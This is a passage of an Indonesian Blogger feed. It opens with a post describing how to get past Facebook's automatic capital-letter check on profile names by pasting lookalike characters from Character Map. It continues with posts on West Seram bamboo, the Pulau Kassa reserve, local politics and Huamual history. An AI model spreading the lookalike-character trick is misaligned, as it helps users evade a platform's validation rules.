FB, “terlalu banyak menggunakan huruf besar...!”. Sampailah akhirnya saya menggunakan juga karakter “M” dari chart map. saya mengganti dulu huruf “E” pd kata “Exaggerated” dgn karakter “M” dr chart map, diterima lg oleh sistem. Tanpa mikir panjang langkah berikutnya saya ubah semua huruf yang masih kecil-kecil pada nama tengah jd kapital, kemudian enter, lanjut konfirmasi, tutup mata dan buka pelan2 lagi ngintip layar komputer, berhasil smua brubah huruf kapital. tapi huruf M td mesti saya ganti dgn huruf E. saya ganti dgn E yg biasa sj tanpa menggunakan chart map, wah ditolak oleh sistem karena terlalu byk menggunakan huruf besar. yah, ada cart map, dan saya cari karakter E di chart map, ketemu dan saya paste, kemudian enter, konfirm, ya diterima lagi. akhirnya smua nick saya lengkap menjadi deretan huruf kapital.<br /><br />DOWURA-ALHYIDJAHNUR’FIRMMINDED DONOTNEEDTOALWAYS-EXAGGERATED REMEMBERINTHESKYTHEREISMORESKY (Nick saya ketika baru pertama kali berhasil diubah JAdi huruf kapital)<br /><br />Kesimpulan sementara untuk dari saya:<br />Untuk mengubah semua huruf pada nick akun FaceBook menjadi huruf kapital, maka karakter “M” pada Chart Map font Verdana di deret 23 adalah kunci untuk mengelabui dan mengambil hati sang sistem otomatis Facebook.<br />Dan tidak menutup kemungkinan karakter lainnya bisa digunakan utk memodifikasi Nick dengan kejutan yang lebih mantap lagi<br /><br />Lebih kurangnya screen shot dari karakter tersebut bisa dilihat di sini:<br /><br />CHARTMAP<br /><br />nb:<br />Teman saya yang memiliki deretan nama sebanyak 4 spasi nama dengan jumlah karakter 97, ketika mencoba cara yang saya lakukan, nicknya berkurang 1 spasi nama.<br /><br />Adalagi teman saya lainnya, meskipun nicknya berderet 3 spasi nama dgn jumlah karakter 90, ketika mencoba cara saya di atas maka nama tengahnya langsung hilang, nggak tau ke mana hilangnya. sampai sekarang udah nggak bisa lagi tambahkan nama tengah.<br /><br />Kalau masih ragu-ragu, jangan dulu lakukan biar nanti kagak nyesal<br /><br />NB: CARA DI ATAS JUGA BISA DI PAKE UNTUK BUAT NICK YANG MEMPUNYAI CHARAKTER ANEH.<br /><br />BDW.. KLO MAW LEBIH GAMPANG LAGHI KAMU COPY AJA NICK2 ORG YANG UDAH PADA JADI.. COPY DIKIT-DIKIT. OKJeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-71840276411702686412010-07-05T03:59:00.000-07:002010-07-05T04:07:59.155-07:00HUTAN BAMBU DI SERAM BAGIAN BARAT<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyjCbw7_RhD-pyCU5NnWlNetNkAN8OBqNHqAYie-KPWktQaEWwrw4JcbYI-28T4fHsrQ8eN95Ie6RR3vpe3RGQzoL-NascE0Zb7BB4qYQl0JdIvCkFnUz825XjnoxMyACt8bts0GTi0nFI/s1600/pulaumarsegu.JPG"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 134px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyjCbw7_RhD-pyCU5NnWlNetNkAN8OBqNHqAYie-KPWktQaEWwrw4JcbYI-28T4fHsrQ8eN95Ie6RR3vpe3RGQzoL-NascE0Zb7BB4qYQl0JdIvCkFnUz825XjnoxMyACt8bts0GTi0nFI/s200/pulaumarsegu.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5490376525064109314" /></a><br />West Ceram Pulau Seram memiliki sumberdaya hasil hutan bukan kayu dengan aneka jenis, berpotensi untuk digali dan dikembangkan pada masa mendatang, beberapa hasil hutan bukan kayu adalah, Rotan, Damar, Minyak Kayu Putih, Gaharu, dan Bambu.Tanaman bambu di Pulau Seram ditemukan mulai dataran rendah sampai pegunungan, secara umum ditemukan pada tempat terbuka dan bebas dari genangan air. Tanaman bambu hidup merumpun, memiliki ruas dan buku.<br /><br />Sebagai tanaman serbaguna bambu telah dimanfaatkan untuk berbagai macam barang, mulai dari perabot rumah tangga, kerajinan, bahan bangunan dan peralatan, dari yang sederhana sampai skala industri. Bahan-bahan yang dibuat dari bahan baku bambu tersebut adalah: bambu lapis, bambu lamina, papan semen, pulp dan kertas, sumpit, komponen rumah, meubel dan perkakas rumah tangga, kerajinan dan handycraft, alat musik, rebung, dan arang.<br /><br />Untuk di Pulau Seram sendiri pernah didirikan Pabrik Sumpit pada Kecamatan Taniwel (SBB) untuk diekspor, namun industri tersebut tidak dapat bertahan lama bukan karena kekurangan bahan baku tetapi kesalahan manajemen.<br /><br />Potensi Bambu yang terbesar di Taniwel berada pada desa Buria dengan luas 650 hektar. Untuk kecamatan Kairatu bambu tumbuh pada beberapa tempat Seriholo, Tala, Sumeit Pasinaro, Ahiolo-Abia, Watui, Huku kecil, Rumakai, Latu and Hualoi.<br /><br />Menurut masyakat setempat disini ada delapan jenis bambu yang dipergunakan secara tradisional. Bambu-bambu tersebut dikenal dengan nama bambu jawa, bambu sero (Gigantochloa apus), bambu suanggi, bambu suanggi baduri, bambu patong (Dendrocalamus asper), bambu loleba (Bambusa atra), bambu tui (Schizostachyum lima), bambu tapir dan bambu tutul (Bambusa vulgaris) yang dipergunakan dalam pembuatan funiture di desa Morekao Kecamatan Piru.Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-70146396591401458522010-07-03T20:55:00.000-07:002010-07-03T20:55:21.415-07:00MALUKU/Nyanyian Tanah<object style="background-image:url(http://i4.ytimg.com/vi/gyt6epx4OTY/hqdefault.jpg)" width="425" height="344"><param name="movie" value="http://www.youtube.com/v/gyt6epx4OTY&hl=en_US&fs=1"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/gyt6epx4OTY&hl=en_US&fs=1" width="425" height="344" allowScriptAccess="never" allowFullScreen="true" wmode="transparent" type="application/x-shockwave-flash"></embed></object>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-11965132090561142462010-07-03T09:59:00.000-07:002010-07-03T10:10:59.236-07:00TIUP TAHURI PANGGEL PULANG YANA TUNI "SAKA MESE NUSA"<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjzuzcDWAYuMLJBn3g073yBLlp0YU0m5uBqMMMiFCzjJYrihIPsMffUsVk3JPJD38UYgSFmH7WOH23ZKBv2lxH4vAUZTMiCuUGWgUREkMVB6Y65SF2kodlBPGIqh0Nx35eN2jzLO20Pk0c/s1600/27829_1291747297659_1349578042_30733754_7187622_n.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 144px; height: 200px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjzuzcDWAYuMLJBn3g073yBLlp0YU0m5uBqMMMiFCzjJYrihIPsMffUsVk3JPJD38UYgSFmH7WOH23ZKBv2lxH4vAUZTMiCuUGWgUREkMVB6Y65SF2kodlBPGIqh0Nx35eN2jzLO20Pk0c/s200/27829_1291747297659_1349578042_30733754_7187622_n.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5489727467026476114" /></a><br />TIUP TAHURI PANGGEL PULANG YANA TUNI "SAKA MESE NUSA"<br /> <br />Kabupaten Seram Bagian Barat memilki begitu banyak Negeri-negeri adat, yang dalam melaksanakan kegiatan berupa apapun selalu berpatokan pada adat-istiadat negeri masing2. Dalam mengawali proses adat di beberapa negeri adat Penggunaan "TAHURI" merupakan alat komunikasi adatis yg di anggap sakral dan memiliki kekuatan spiritual dan sebagai alat perekat dalam pelaksanaan kegiatan adatis tersebut. <br />Gawe/perhelatan Pemilihan kepala Daerah di kabupaten seram bagian barat semakin dekat, Masing2 calon telah siap mengendarai kendaraan untuk bertanding dalam perang,kalah menang,dan saling hujat kian deras. Arus politik yg tenang dibuat berombak ,Asap demokrasi yg mengepul dibuat terbakar,suhu demokratis yg dingin dibuat memanas, tensi politik di kabupaten seram bagian barat akan semakin meninggi.<br /><br />Ditengah badai pembangunan kabupaten SBB yg morat marit,maka sangat diharapkan figur pemimpin yg bisa membawa kabupaten ini maju dan bersaing dengan kabupaten lainnya di maluku, figur yg dapat membawa kabupaten ini keluar dari segala masalah,figur yg merakyat yg slalu dekat dengan rakyatnya, yg mencintai rakyatnya, Figur yg berpihak pada kebenaran, demi kesejahteraan bersama dan bukan untuk kesejahteraan sekelompok orang.<br /><br />TAHURI SAKA MESE NUSA.....berbunyi...Memanggil setiap anak Nusa Ina untuk memimpin daerahnya, Anak Adat harus mendapat tempat yg layak untuk memimpin,membangun dan mengecap hasil karya anak negerinya sendiri.......!!!!!<br /><br />Sebagai anak Nusa Ina,Bunyi TAHURI adalah TITAH untuk melakukan kegiatan Pembangunan demi kemajuan bersama dalam menciptakan masyarakat SBB yang madani aman dan sejahtera. <br />TIUP TAHURI panggel pulang Basudara samua, sama2 satukan hati dan tekad, saling berpegangan tangan satu dengan yg lain katong sama-sama bangun Negeri "saka mese nusa"Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-54689223193407237452010-07-01T21:24:00.001-07:002011-03-23T12:04:07.270-07:00PULAU KASSAPulau kassa adalah sebuah pulau yg terletak di Propinsi maluku,kabupaten Seram Bagian Barat, Kecamatan seram barat piru. Pulau tersebut adalah pulau kosong yang tidak berpenghuni. berhadapan dengan Desa Lokki & Desa Kaibobu.<br />Pemerintah kabupaten SBB telah melakukan pembangunan di pulau tersebut dan akan dijadikan sebagai tempat pariwisata bahari.<br />semoga ke depan diharapkan pembangunan tersebut dapat diselesaikan sehingga dapat menarik wisatawan untuk berwisata.<br /><br />Suaka Margasatwa/Taman Laut Pulau Kassa, ditetapkan berdasarkan Surat<br />Keputusan Menteri Pertanian Nomor : 653/Kpts/Um/10/78 tanggal 25 April 1978.<br /><br /><br />Letak<br />Terletak Kecamatan Seram Barat-Piru, Kabupaten Seram Bagian Barat, Propinsi Maluku<br /><br />Luas<br />Dengan luas 1.100 ha.<br /><br />Geografis<br />Geografis 03°18’00” LS dan 128°10’00” BT<br /><br />Ketinggian<br />Ketinggian 0 - 4 m dpl.<br /><br /><br />BIOLOGI<br /><br />Potensi Terumbu Karang,Ikan, dan Satwa Lainnya<br />Taman Wisata Alam (laut) Pulau Kassa merupakan tipe perwakilan terumbu<br />karang, hutan pantai, dan mangrove di Propinsi Maluku. Pulau ini dikelilingi oleh<br />terumbu karang, yang sebagian besar rusak karena bahan peledak dan serangan<br />bintang laut berduri (Acanthaster planci). Gangguan lainnya adalah adanya<br />pengambilan telur maleo, kerang-kerangan dan keong oleh masyarakat untuk<br />dijual ke Ambon.<br /><br />Terdapat kurang lebih 70 jenis ikan, dimana 11 jenis diantaranya jenis<br />butterflyfish (Chelmon rostratus dan Chaetodon sp.), parrotfish (Bolbometopon<br />muricatum dan Scarus sp.), black and white snapper (Macolor niger), surgeonfish<br />(Naso fageni dan N. Unicornis) dan lain-lain.<br /><br />Hutan pantai dicirikan dengan banyaknya cemara laut (Casuarina equisetifolia),<br />waru laut (Hibiscus tiliaetus), dan ketapang (Terminalia cattapa).Hutan mangrove<br />dicirikan oleh bakau (Rhizophora sp) yang mendominasi hutan tersebut.<br /><br />Satwa yang ada antara lain seperti biawak ambon (Varanus indicus), soa-soa<br />(Hydrosaurus amboinensis), dan burung gosong (Megapodius double reinwardt<br />Dumont).<br /><br />Flora<br />Anggrek Bulan Ambon (Phalaenoopsis Amboninensis), Pulai Pantai (Alstonia<br />Scolaris), Camar Laut (Casuarina Equisetifolia), Bintangur (Callophyllum),<br />Pandan Laut (Pandanus sp), Bakung Laut (Crinum Asiaticum), Waru Laut<br />(Hibiscus Filiacius), Beringin Pantai (Ficus Benjamina).<br /><br />Fauna<br />Burung Gosong (Megapodius Renwardtii), Kus-kus (Phalanger sp), Soa-soa<br />Ambon (Hydrosaurus Amboinensis), Biawak Maluku (Veranus Indicus), Burung<br />ekor kipas (Rhipiruda Chloris), Pombo Biru dada putih (Ducula Bicolor), Kima<br />Raksasa (Tridacna squamosa), Kima Cina (Hippocus Porcelanus), Triton Trompet<br />(Cheronia Tritonis), Koral lunak (Sarcophyton Trocheliophorum), Koral bulu ayam<br />(Aglophenia Cupressina), Koral Kuping (Echinophora sp), Ikan Botana Biru<br />(Acanthurus Lecusternon), Ikan Bendera (Chetodon sp), Ikan Biji nagka (Zanclos<br />Canancen).<br /><br /><br />WISATA<br /><br />Lokasi yang menarik dikunjungi :<br />Hampir semua lokasi yang ada di Pulau Kassa dapat dilakukan kegiatan<br />snorkeling, menyelam dan wisata bahari lainnya.<br /><br />Musim kunjungan terbaik : antara bulan Maret s/d Agustus.<br /><br />Cara pencapaian :<br />Ambon – Hitu melalui jalan darat (1 jam) dengan menggunakan mobil. Hitu-Piru-<br />Pulau Kassa atau Hitu langsung ke Pulau Kassa menggunakan motor laut (1-2<br />jam).Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com1tag:blogger.com,1999:blog-7934653146360007498.post-88000614037974825392010-07-01T19:23:00.000-07:002010-07-01T19:59:00.280-07:00MAJIRA VAN HUAMUALBenarkah Majira adalah Pangeran atau putra Mahkota dari raja kerajaan huamual?? ataukah Dia hanya seorang pemimpin pemberontakan yang adalah kaki tangan Kerajaan ternate? sedangkan utusan kerajaan/panglima perang kerajaan ternate yang tinggal di ibukota kerajaan huamual diberikan tanggungjawab kepada laksamana Saidi. laksamana saidi membangkang terhadap Majira. gelar Gimelaha adalah sebuah gelar yg diberikan oleh raja ternate kepada Majira, apakah hal tersebut menandakan bahwa majira adalah kaki tangan dari kerajaan ternate? sebagai anak asli Huamual kita diperhadapkan dalam kesemrawutan sejarah. ini harus diluruskkan.,karena banyak penulisan sejarah yg sangat mandek akibat dari ke-egoisme suatu daerah terhadap daerah lain dan menganggap daerahnya memiliki kekuasaan terhadap sejarah negeri2 lain di jasirah huamual.<br />dalam beberapa Dokumen tua, yg tertulis dalam bahasa melayu kuno, disebutkan bahwa arus perdagangan Rempah2 dunia berpusat di maluku. sejarah mencatat bahwa perang huamual adalah perang cengkih & pala. nah dari hal tersebut diatas maka sudah selayaknya huamual disebut sebagai penghasil rempah2 dunia di maluku pada saat dan waktu tersebut.<br />demikian didalam dokumen kolonial belanda,disebutkan bahwa Huamual adalah pusat perdagangan cengkih & pala. masyarakat huamual telah mengenal teknik budidaya cengkih yg baik, sehingga komoditas cengkeh merupakan andalan kerajaan tersebut.<br />kerajaan Ternate/Tidore dalam pencatatan sejarahnya saling mengklaim bahwa daerah jasirah huamual merupakan milik dua kerajaan tersebut. Rasanya aneh jika mereka hanya bisa mengklaim,sementara pasukan kedua kerajaan tersebut pernah dipakai dalam memerangi kerajaan huamual.Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-13371805330535975012010-06-29T17:44:00.000-07:002010-06-29T17:59:19.014-07:00Lokki van Huamual<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_6VBDU06ln3Q/TCqWVkTKJTI/AAAAAAAAAGY/JjGW6Pso0os/s1600/straatjelokki.jpg">lokki<img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 225px; height: 159px;" src="http://1.bp.blogspot.com/_6VBDU06ln3Q/TCqWVkTKJTI/AAAAAAAAAGY/JjGW6Pso0os/s320/straatjelokki.jpg" alt="" id="BLOGGER_PHOTO_ID_5488364393169823026" border="0" /></a>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0